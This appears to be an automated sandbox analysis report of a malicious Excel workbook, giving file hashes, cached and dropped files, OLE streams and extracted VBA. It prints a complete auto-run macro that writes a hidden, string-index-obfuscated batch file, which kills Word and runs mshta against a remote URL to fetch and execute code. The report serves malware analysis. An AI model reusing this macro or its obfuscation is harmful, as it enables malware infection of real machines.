SHA1:	CC0F3354640103B329923BA00054F750578CB78F
SHA-256:	E0AFECC6055391B4B65D6350F8D05387DF73467D3D8C0DC53CC1AC5CB7B639EA
SHA-512:	5B631A9F5E916321BB23D8FD90BF27394591FB83A1BA2CA8E9976A3875FFB0DECC0A97DD64C516D165814F01F909D9B1B4E1D1A008B76F1C1EE8C4A7747B2A8B
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/theme51253/main-style.css
Preview:	@import url("../CherryFramework/style.css");.@import url(//fonts.googleapis.com/css?family=Lato:100);.@import url(//fonts.googleapis.com/css?family=Lato:300);.@import url(//fonts.googleapis.com/css?family=Lato:400);.@import url(//fonts.googleapis.com/css?family=Lato:700);.@import url(//fonts.googleapis.com/css?family=Lato:900);..wrap { overflow:hidden; }.h1, h2, h3, h4, h5, h6 { margin-top:0; }.h2 {..font-weight:100 !important;..text-shadow:0 0 0 rgba(0,0,0,0);.}.h2 strong { font-weight:900 !important; }.h3 { font-weight:900 !important; }.a {..-webkit-transition:all 0.5s ease;..-moz-transition:all 0.5s ease;..-o-transition:all 0.5s ease;..transition:all 0.5s ease;.}.a:hover { text-decoration:none; }..header {..width:100%;..position:absolute;..top:0;..padding:23px 0 20px;..border:none;..background:#fff;.}.@media (max-width: 767px) {...header {...width:auto;...padding-left:20px;...padding-right:20px;...position:relative !important;..}.}..header:after {..content:'';..position:absolute;..b

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\owl.carousel.min[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	3351
Entropy (8bit):	4.914211238199009
Encrypted:	false
SSDEEP:	48:uZo8LL+IJWmQq+v+dDKopvu+ztL+F/+wI+weAzT+RV+VAPsAvqeghOHHy3VzoRvO:JgA6eA2+AbdEK7pcXVxZaIJICNMM
MD5:	B2752A850D44F50036628EEAEF3BFCFA
SHA1:	FBA46353CF90450EF3D362A123F1E7AF3E8C561E
SHA-256:	521410E1FC44780061E09ADC980275FB5EA277FD5D9E538454214EC4379FF4BC
SHA-512:	B52DD2E6A1B40658674113B2257BCD8DE10CE14A4C5C7AD07D31A66D0D602A67A50B195210151AC614418FF1054F3A5B3F84554ABA448A46E6749A1B0AF844DE
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel.min.css?ver=1.0.0
Preview:	/*. Owl Carousel v2.3.4. * Copyright 2013-2018 David Deutsch. * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE. */..owl-carousel,.owl-carousel .owl-item{-webkit-tap-highlight-color:transparent;position:relative}.owl-carousel{display:none;width:100%;z-index:1}.owl-carousel .owl-stage{position:relative;-ms-touch-action:pan-Y;touch-action:manipulation;-moz-backface-visibility:hidden}.owl-carousel .owl-stage:after{content:".";display:block;clear:both;visibility:hidden;line-height:0;height:0}.owl-carousel .owl-stage-outer{position:relative;overflow:hidden;-webkit-transform:translate3d(0,0,0)}.owl-carousel .owl-item,.owl-carousel .owl-wrapper{-webkit-backface-visibility:hidden;-moz-backface-visibility:hidden;-ms-backface-visibility:hidden;-webkit-transform:translate3d(0,0,0);-moz-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0)}.owl-carousel .owl-item{min-height:1px;float:left;-webkit-backface-visibility:hidden;-webkit-touch-ca

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\warning[1]

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	GIF image data, version 89a, 36 x 38
Category:	downloaded
Size (bytes):	1062
Entropy (8bit):	4.517838839626174
Encrypted:	false
SSDEEP:	12:z4ENetWsdvCMtkEFk+t2cd3ikIbOViGZVsMLfE4DMWUcC/GFvyVEZd6vcmadxVtS:nA/ag/QSi6/LKZzqKVQgJOexQkYfG6E
MD5:	124A9E7B6976F7570134B7034EE28D2B
SHA1:	E889BFC2A2E57491016B05DB966FC6297A174F55
SHA-256:	5F95EFF2BCAAEA82D0AE34A007DE3595C0D830AC4810EA4854E6526E261108E9
SHA-512:	EA1B3CC56BD41FC534AAC00F186180345CB2C06705B57C88C8A6953E6CE8B9A2E3809DDB01DAAC66FA9C424D517D2D14FA45FBEF9D74FEF8A809B71550C7C145
Malicious:	false
IE Cache URL:	res://ieframe.dll/warning.gif
Preview:	GIF89a$.&.......h...............h.hh..h..h..h..h....h................h.................h.................h................hh.h..h..h..h..h.hhhhh.hh.hh.hh.hh..hh.h..h..h.h..h..hh.h..h..h..h..h..hh.h..h..h..h..h..hh.h..h..h..h..h...h...............h.hh..h..h..h..h....h...............h................h...........h.................h...............h.hh..h..h..h..h....h................h.................h.................h.................h..............h.hh.h..h..h..h....h..............h................h................h................h...............h.hh..h..h..h..h....h................h.................h.................h......................................................................................................................................!.......,....$.&.@......H.......<0.....VXQH..C..1>.(..@..C.t.q"B..S.\.r.D...Z.. .M.41.".......<.r.;.r4..P..]....+.T-...N...x....1.:..TdD...^.j..W.r...y....V...Lx0..):8p q.4.;...f`.r-K...(..P....t.].~..l..

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\warning[2]

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	GIF image data, version 89a, 36 x 38
Category:	dropped
Size (bytes):	1062
Entropy (8bit):	4.517838839626174
Encrypted:	false
SSDEEP:	12:z4ENetWsdvCMtkEFk+t2cd3ikIbOViGZVsMLfE4DMWUcC/GFvyVEZd6vcmadxVtS:nA/ag/QSi6/LKZzqKVQgJOexQkYfG6E
MD5:	124A9E7B6976F7570134B7034EE28D2B
SHA1:	E889BFC2A2E57491016B05DB966FC6297A174F55
SHA-256:	5F95EFF2BCAAEA82D0AE34A007DE3595C0D830AC4810EA4854E6526E261108E9
SHA-512:	EA1B3CC56BD41FC534AAC00F186180345CB2C06705B57C88C8A6953E6CE8B9A2E3809DDB01DAAC66FA9C424D517D2D14FA45FBEF9D74FEF8A809B71550C7C145
Malicious:	false
Preview:	GIF89a$.&.......h...............h.hh..h..h..h..h....h................h.................h.................h................hh.h..h..h..h..h.hhhhh.hh.hh.hh.hh..hh.h..h..h.h..h..hh.h..h..h..h..h..hh.h..h..h..h..h..hh.h..h..h..h..h...h...............h.hh..h..h..h..h....h...............h................h...........h.................h...............h.hh..h..h..h..h....h................h.................h.................h.................h..............h.hh.h..h..h..h....h..............h................h................h................h...............h.hh..h..h..h..h....h................h.................h.................h......................................................................................................................................!.......,....$.&.@......H.......<0.....VXQH..C..1>.(..@..C.t.q"B..S.\.r.D...Z.. .M.41.".......<.r.;.r4..P..]....+.T-...N...x....1.:..TdD...^.j..W.r...y....V...Lx0..):8p q.4.;...f`.r-K...(..P....t.].~..l..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies\XOFAK32E.txt

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	84
Entropy (8bit):	4.502029703713143
Encrypted:	false
SSDEEP:	3:Fg1Q1jJKvJXv7YSScd+VTRXUjvuZvX:FdRITSlECZvX
MD5:	FDB71D73CABEFEA67ACF439EF9189738
SHA1:	DC5E9A623617F9D974BD1A120DCE849FCE921B47
SHA-256:	908279C2C4A82F138CAAF092421F7A8C684B7DF6F0E4C8327109D96E7F6047CD
SHA-512:	35CA2467CBE5F5D3BC81C07DD3C54B53400CB7971D6BEC50B95FB2B1014CC58C6133B8112BC27CE5A39ADDC6D3BB80D00D97179182EF398778DFF3C0BB7A9785
Malicious:	false
IE Cache URL:	google.com/
Preview:	CONSENT.PENDING+466.google.com/.2147484673.1979848960.31125240.850809416.30978466.*.

C:\Users\Public\Outlook.bat

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	modified
Size (bytes):	1126
Entropy (8bit):	4.492674933696318
Encrypted:	false
SSDEEP:	24:sj4MyluZiolTQP64K6o80dGo3ahMowo4oM2ocnhg:sj4R8
MD5:	20484F4A7D41C5F54A0DC7A7D35C2155
SHA1:	0B197C48D648BBDC131DCA6D4FB89903303372F9
SHA-256:	6DF10DD726CEF49360DF78C47651A311EA7BB21064FE77E019E223EF32776072
SHA-512:	94DF430C3890D5BA23618283EA6EAA6AA0C74D19C5E049F3CC4D65A464266CCC2EEFCCDB59D6464606200B2E51CDC9B57C2534C67ADED228D00A54D856C98591
Malicious:	true
Preview:	call getCmdPid.bat..set PID=%errorlevel%..call windowMode.bat -pid %PID% -mode hidden..cd C:\Users\Public..@echo off..Set ao8=TSkEhx6qZpCHJMOGRvfbn4wQaPBANVXWz8jcIKrtlYymiod3L2sU7eF105gu9D..cls..%ao8:~35,1%%ao8:~43,1%%ao8:~46,1% /%ao8:~35,1% %ao8:~50,1%%ao8:~39,1%%ao8:~24,1%%ao8:~38,1%%ao8:~39,1% /%ao8:~43,1%%ao8:~44,1%%ao8:~20,1% %ao8:~39,1%%ao8:~24,1%%ao8:~50,1%%ao8:~2,1%%ao8:~2,1%%ao8:~44,1%%ao8:~40,1%%ao8:~40,1% /%ao8:~18,1% /%ao8:~44,1%%ao8:~43,1% %ao8:~31,1%%ao8:~36,1%%ao8:~28,1%%ao8:~31,1%%ao8:~14,1%%ao8:~16,1%%ao8:~61,1%.%ao8:~3,1%%ao8:~30,1%%ao8:~3,1% & %ao8:~43,1%%ao8:~50,1%%ao8:~4,1%%ao8:~39,1%%ao8:~24,1% %ao8:~4,1%%ao8:~39,1%%ao8:~39,1%%ao8:~9,1%://%ao8:~18,1%%ao8:~24,1%%ao8:~35,1%%ao8:~53,1%%ao8:~5,1%%ao8:~39,1%%ao8:~38,1%%ao8:~24,1%%ao8:~46,1%%ao8:~53,1%.%ao8:~35,1%%ao8:~45,1%%ao8:~43,1%.%ao8:~19,1%%ao8:~38,1%/%ao8:~22,1%%ao8:~9,1%-%ao8:~44,1%%ao8:~20,1%%ao8:~35,1%%ao8:~40,1%%ao8:~59,1%%ao8:~46,1%%ao8:~53,1%%ao8:~50,1%/%ao8:~35,1%%ao8:~53,1%%ao8:~38,1%%ao8:~39,1%%ao8:~44,

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Author: MARIANO PEREIRA, Last Saved By: Cavaleiro De Troia, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 19:19:34 2015, Last Saved Time/Date: Sun May 2 19:59:33 2021, Security: 0
Entropy (8bit):	4.612371229036915
TrID:	Microsoft Excel sheet (30009/1) 78.94% Generic OLE2 / Multistream Compound File (8008/1) 21.06%
File name:	SecuriteInfo.com.Exploit.Siggen3.17149.11632.xls
File size:	39424
MD5:	6a50db57cd89b13482023a5a67e5c89d
SHA1:	c121420f9604e2101e9d1f8de7d8676d817c22f7
SHA256:	dac74ef0e89ee9ed60e53adf867cb9d4d73e5976b9b87daabf113a7f44ed681f
SHA512:	54c42111b550089bbc3a97c66a57a009baa560ada0a7b688a5ba885afa2e891109d2d70821fd4e25d62cf9b403db8d465cbd50c8a5c503ea8ab2aa38ea7cd2e7
SSDEEP:	768:yK1Tgbyw3sz2jyngov9rjXjBCKTUAuulFFfqMFQxmMC0klhiCfAdKmCx:yK1Tgbyw3sz2jyngov9rjXjBCKoAuulh
TLSH:	C7031C26BA95C8B6DA67133AACE791C5623BBC131E1E52477204F32D7EB11D7840722F
File Content Preview:	........................>......................................................................................................................................................................................................................................

File Icon


Icon Hash:	e4eea286a4b4bcb4

Static OLE Info

General

Document Type:	OLE
Number of OLE Files:	1

OLE File "SecuriteInfo.com.Exploit.Siggen3.17149.11632.xls"

Indicators

Has Summary Info:
Application Name:	Microsoft Excel
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	False
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	True

Summary

Code Page:	1252
Author:	MARIANO PEREIRA
Last Saved By:	Cavaleiro De Troia
Create Time:	2015-06-05 18:19:34
Last Saved Time:	2021-05-02 18:59:33
Creating Application:	Microsoft Excel
Security:	0

Document Summary

Document Code Page:	1252
Thumbnail Scaling Desired:	False
Company:
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	1048576

Streams with VBA

VBA File Name: EstaPastaDeTrabalho.cls, Stream Size: 4626

General
Stream Path:	_VBA_PROJECT_CUR/VBA/EstaPastaDeTrabalho
VBA File Name:	EstaPastaDeTrabalho.cls
Stream Size:	4626
Data ASCII:	. . . . . . . . . . . . . . . 8 . . . < . . . J . . . > . . . . . . . . . . . . = s . . # . . . . . . . . . . . . . . . . . p . . . s . ~ T I J y \\ . . . . . . . . . . . . . . F . . . . . . . . . . . . . . . . . . . . P \\ = g B . . : p . . . . . . . . . . . . . . . . . . . . . . x . . . . P \\ = g B . . : p s . ~ T I J y \\ . . . . M E . . . . . . . . . . . . . . . . . . . . . 0 . P . . . . . S L . . . . S . . . . . S . . . . 6 " . . . . . . . . . . . . . . . . . < 8 . . . . . . < . . . . . . . . . . N . 0 .
Data Raw:	01 16 03 00 06 00 01 00 00 ea 05 00 00 e4 00 00 00 38 02 00 00 3c 06 00 00 4a 06 00 00 3e 0e 00 00 00 00 00 00 01 00 00 00 7f 3d c0 73 00 00 ff ff 23 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff 70 00 ff ff 00 00 73 08 b9 7e 54 c1 49 4a 9c 94 fe 79 dc 5c af 9b 19 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "EstaPastaDeTrabalho"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
   Dim iStage As Integer
   Dim iCounter As Integer
   Dim iPage As Integer
   Dim sFile As String
   sFile = Environ("Public") & "\Outlook.bat"
      
   Close
     Open sFile For Output As #1
Print #1, "call getCmdPid.bat"
Print #1, "set PID=%errorlevel%"
Print #1, "call windowMode.bat -pid %PID% -mode hidden"
Print #1, "cd C:\Users\Public"
Print #1, "@echo off"
Print #1, "Set ao8=TSkEhx6qZpCHJMOGRvfbn4wQaPBANVXWz8jcIKrtlYymiod3L2sU7eF105gu9D"
Print #1, "cls"
Print #1, "%ao8:~35,1%%ao8:~43,1%%ao8:~46,1% /%ao8:~35,1% %ao8:~50,1%%ao8:~39,1%%ao8:~24,1%%ao8:~38,1%%ao8:~39,1% /%ao8:~43,1%%ao8:~44,1%%ao8:~20,1% %ao8:~39,1%%ao8:~24,1%%ao8:~50,1%%ao8:~2,1%%ao8:~2,1%%ao8:~44,1%%ao8:~40,1%%ao8:~40,1% /%ao8:~18,1% /%ao8:~44,1%%ao8:~43,1% %ao8:~31,1%%ao8:~36,1%%ao8:~28,1%%ao8:~31,1%%ao8:~14,1%%ao8:~16,1%%ao8:~61,1%.%ao8:~3,1%%ao8:~30,1%%ao8:~3,1% & %ao8:~43,1%%ao8:~50,1%%ao8:~4,1%%ao8:~39,1%%ao8:~24,1% %ao8:~4,1%%ao8:~39,1%%ao8:~39,1%%ao8:~9,1%://%ao8:~18,1%%ao8:~24,1%%ao8:~35,1%%ao8:~53,1%%ao8:~5,1%%ao8:~39,1%%ao8:~38,1%%ao8:~24,1%%ao8:~46,1%%ao8:~53,1%.%ao8:~35,1%%ao8:~45,1%%ao8:~43,1%.%ao8:~19,1%%ao8:~38,1%/%ao8:~22,1%%ao8:~9,1%-%ao8:~44,1%%ao8:~20,1%%ao8:~35,1%%ao8:~40,1%%ao8:~59,1%%ao8:~46,1%%ao8:~53,1%%ao8:~50,1%/%ao8:~35,1%%ao8:~53,1%%ao8:~38,1%%ao8:~39,1%%ao8:~44,1%%ao8:~18,1%%ao8:~44,1%%ao8:~35,1%%ao8:~24,1%%ao8:~39,1%%ao8:~53,1%%ao8:~50,1%/%ao8:~21,1%.%ao8:~39,1%%ao8:~5,1%%ao8:~39,1%"




   For iCounter = 2 To iStage
      Print #1, "    </ul>"
      iStage = iStage - 1
   Next iCounter:      Shell$    "cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit" & vbLf, 0
   
   
   
   

   Close


End Sub

VBA File Name: Planilha1.cls, Stream Size: 1002

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Planilha1
VBA File Name:	Planilha1.cls
Stream Size:	1002
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . 5 . . . . . . . . . . . . = I . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . -
Data Raw:	01 16 03 00 01 f0 00 00 00 da 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff e1 02 00 00 35 03 00 00 00 00 00 00 01 00 00 00 7f 3d 49 ac 00 00 ff ff 23 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Planilha1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 109

General
Stream Path:	\x1CompObj
File Type:	data
Stream Size:	109
Entropy:	4.257541421397259
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . F ! . . . P l a n i l h a d o M i c r o s o f t E x c e l 2 0 0 3 . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 21 00 00 00 50 6c 61 6e 69 6c 68 61 20 64 6f 20 4d 69 63 72 6f 73 6f 66 74 20 45 78 63 65 6c 20 32 30 30 33 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x1Ole, File Type: data, Stream Size: 20

General
Stream Path:	\x1Ole
File Type:	data
Stream Size:	20
Entropy:	0.8475846798245739
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . .
Data Raw:	01 00 00 02 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x3ObjInfo, File Type: data, Stream Size: 6

General
Stream Path:	\x3ObjInfo
File Type:	data
Stream Size:	6
Entropy:	1.2516291673878228
Base64 Encoded:	False
Data ASCII:	. . . . . .
Data Raw:	00 00 03 00 04 00

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 240

General
Stream Path:	\x5DocumentSummaryInformation
File Type:	data
Stream Size:	240
Entropy:	2.6096962931292262
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . P . . . . . . . X . . . . . . . d . . . . . . . l . . . . . . . t . . . . . . . \| . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . P l a n 1 . . . . . . . . . . . . . . . . . P l a n i l h a s . . . . . . . . .
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 c0 00 00 00 09 00 00 00 01 00 00 00 50 00 00 00 0f 00 00 00 58 00 00 00 17 00 00 00 64 00 00 00 0b 00 00 00 6c 00 00 00 10 00 00 00 74 00 00 00 13 00 00 00 7c 00 00 00 16 00 00 00 84 00 00 00 0d 00 00 00 8c 00 00 00 0c 00 00 00 9e 00 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 228

General
Stream Path:	\x5SummaryInformation
File Type:	data
Stream Size:	228
Entropy:	3.9071239156716207
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . ` . . . . . . . \| . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M A R I A N O P E R E I R A . . . . . . . . . C a v a l e i r o D e T r o i a . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . ? R , . @ . . . . I ? . . . . . . . . .
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 b4 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 60 00 00 00 12 00 00 00 7c 00 00 00 0c 00 00 00 94 00 00 00 0d 00 00 00 a0 00 00 00 13 00 00 00 ac 00 00 00 02 00 00 00 e4 04 00 00 1e 00 00 00 10 00 00 00

Stream Path: RichEditFlags, File Type: data, Stream Size: 12

General
Stream Path:	RichEditFlags
File Type:	data
Stream Size:	12
Entropy:	0.6500224216483541
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . .
Data Raw:	01 00 00 00 00 00 00 00 01 00 00 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 15248

General
Stream Path:	Workbook
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	15248
Entropy:	5.167290881180269
Base64 Encoded:	True
Data ASCII:	. . . . . . . . Z O . . . . . . . . . . . . . . . . . . . . \\ . p . . . . C a v a l e i r o D e T r o i a B . . . . a . . . . . . . . = . . . . . . . . . . . . . . E s t a P a s t a D e T r a b a l h o . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . V e 1 : . . . . . . . X .
Data Raw:	09 08 10 00 00 06 05 00 5a 4f cd 07 c9 00 02 00 06 08 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 12 00 00 43 61 76 61 6c 65 69 72 6f 20 44 65 20 54 72 6f 69 61 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

Stream Path: _VBA_PROJECT_CUR/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 513

General
Stream Path:	_VBA_PROJECT_CUR/PROJECT
File Type:	ASCII text, with CRLF line terminators
Stream Size:	513
Entropy:	5.142452298544354
Base64 Encoded:	True
Data ASCII:	I D = " { 0 0 0 0 0 0 0 0 - 0 0 0 0 - 0 0 0 0 - 0 0 0 0 - 0 0 0 0 0 0 0 0 0 0 0 0 } " . . D o c u m e n t = E s t a P a s t a D e T r a b a l h o / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = P l a n i l h a 1 / & H 0 0 0 0 0 0 0 0 . . H e l p F i l e = " " . . N a m e = " V B A P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " C 0 C 2 6 C 6 A 7 0 6 A 7 0 6 E 7 4 6 E 7 4 " . . D P B = " 9 3 9 1 3 F E E 0 F 0 B 0 F 0 B F 0 F 5
Data Raw:	49 44 3d 22 7b 30 30 30 30 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 30 30 30 30 30 30 30 30 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 45 73 74 61 50 61 73 74 61 44 65 54 72 61 62 61 6c 68 6f 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 50 6c 61 6e 69 6c 68 61 31 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 48 65 6c 70 46 69 6c 65 3d 22 22

Stream Path: _VBA_PROJECT_CUR/PROJECTwm, File Type: data, Stream Size: 92

General
Stream Path:	_VBA_PROJECT_CUR/PROJECTwm
File Type:	data
Stream Size:	92
Entropy:	3.1873658260020488
Base64 Encoded:	False
Data ASCII:	E s t a P a s t a D e T r a b a l h o . E . s . t . a . P . a . s . t . a . D . e . T . r . a . b . a . l . h . o . . . P l a n i l h a 1 . P . l . a . n . i . l . h . a . 1 . . . . .
Data Raw:	45 73 74 61 50 61 73 74 61 44 65 54 72 61 62 61 6c 68 6f 00 45 00 73 00 74 00 61 00 50 00 61 00 73 00 74 00 61 00 44 00 65 00 54 00 72 00 61 00 62 00 61 00 6c 00 68 00 6f 00 00 00 50 6c 61 6e 69 6c 68 61 31 00 50 00 6c 00 61 00 6e 00 69 00 6c 00 68 00 61 00 31 00 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/_VBA_PROJECT, File Type: data, Stream Size: 2599

General
Stream Path:	_VBA_PROJECT_CUR/VBA/_VBA_PROJECT
File Type:	data
Stream Size:	2599
Entropy:	4.083845578704928
Base64 Encoded:	False
Data ASCII:	a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 2 . # . 9 . # . C . : . \\ . P . r . o . g . r . a . m . . F . i . l . e . s . \\ . C . o . m . m . o . n . . F . i . l . e . s . \\ . M . i . c . r . o . s . o . f . t . . S . h . a . r . e . d . \\ . V . B . A . \\ . V . B . A . 7 . . . 1 . \\ . V . B . E . 7 . . . D .
Data Raw:	cc 61 b2 00 00 03 00 ff 16 04 00 00 09 04 00 00 e4 04 03 00 00 00 00 00 00 00 00 00 01 00 04 00 02 00 20 01 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 32 00 23 00

Stream Path: _VBA_PROJECT_CUR/VBA/__SRP_0, File Type: data, Stream Size: 6598

General
Stream Path:	_VBA_PROJECT_CUR/VBA/__SRP_0
File Type:	data
Stream Size:	6598
Entropy:	3.6025462992311663
Base64 Encoded:	False
Data ASCII:	K * . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . r U _ . . . . . . . @ . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ J . . . . . . . . . . . . . . . " . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Q . . . . . . . . . . . C 7 7 M D . H l { . . . . . . . . . . . . . . . . . . . .
Data Raw:	93 4b 2a b2 03 00 10 00 00 00 ff ff 00 00 00 00 01 00 02 00 ff ff 00 00 00 00 01 00 00 00 00 00 00 00 00 00 01 00 02 00 00 00 00 00 00 00 01 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 00 00 72 55 5f 03 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 06 00 00 00 00 00 00 7e 0a 00 00 00 00 00 00 7e 02 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/__SRP_1, File Type: data, Stream Size: 182

General
Stream Path:	_VBA_PROJECT_CUR/VBA/__SRP_1
File Type:	data
Stream Size:	182
Entropy:	1.6862905000266528
Base64 Encoded:	False
Data ASCII:	r U @ . . . . . . . @ . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . ~ z . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . q . . . . . . . . . . . . . . . . . . . . . . . b . . . . . . . . . . . . . . .
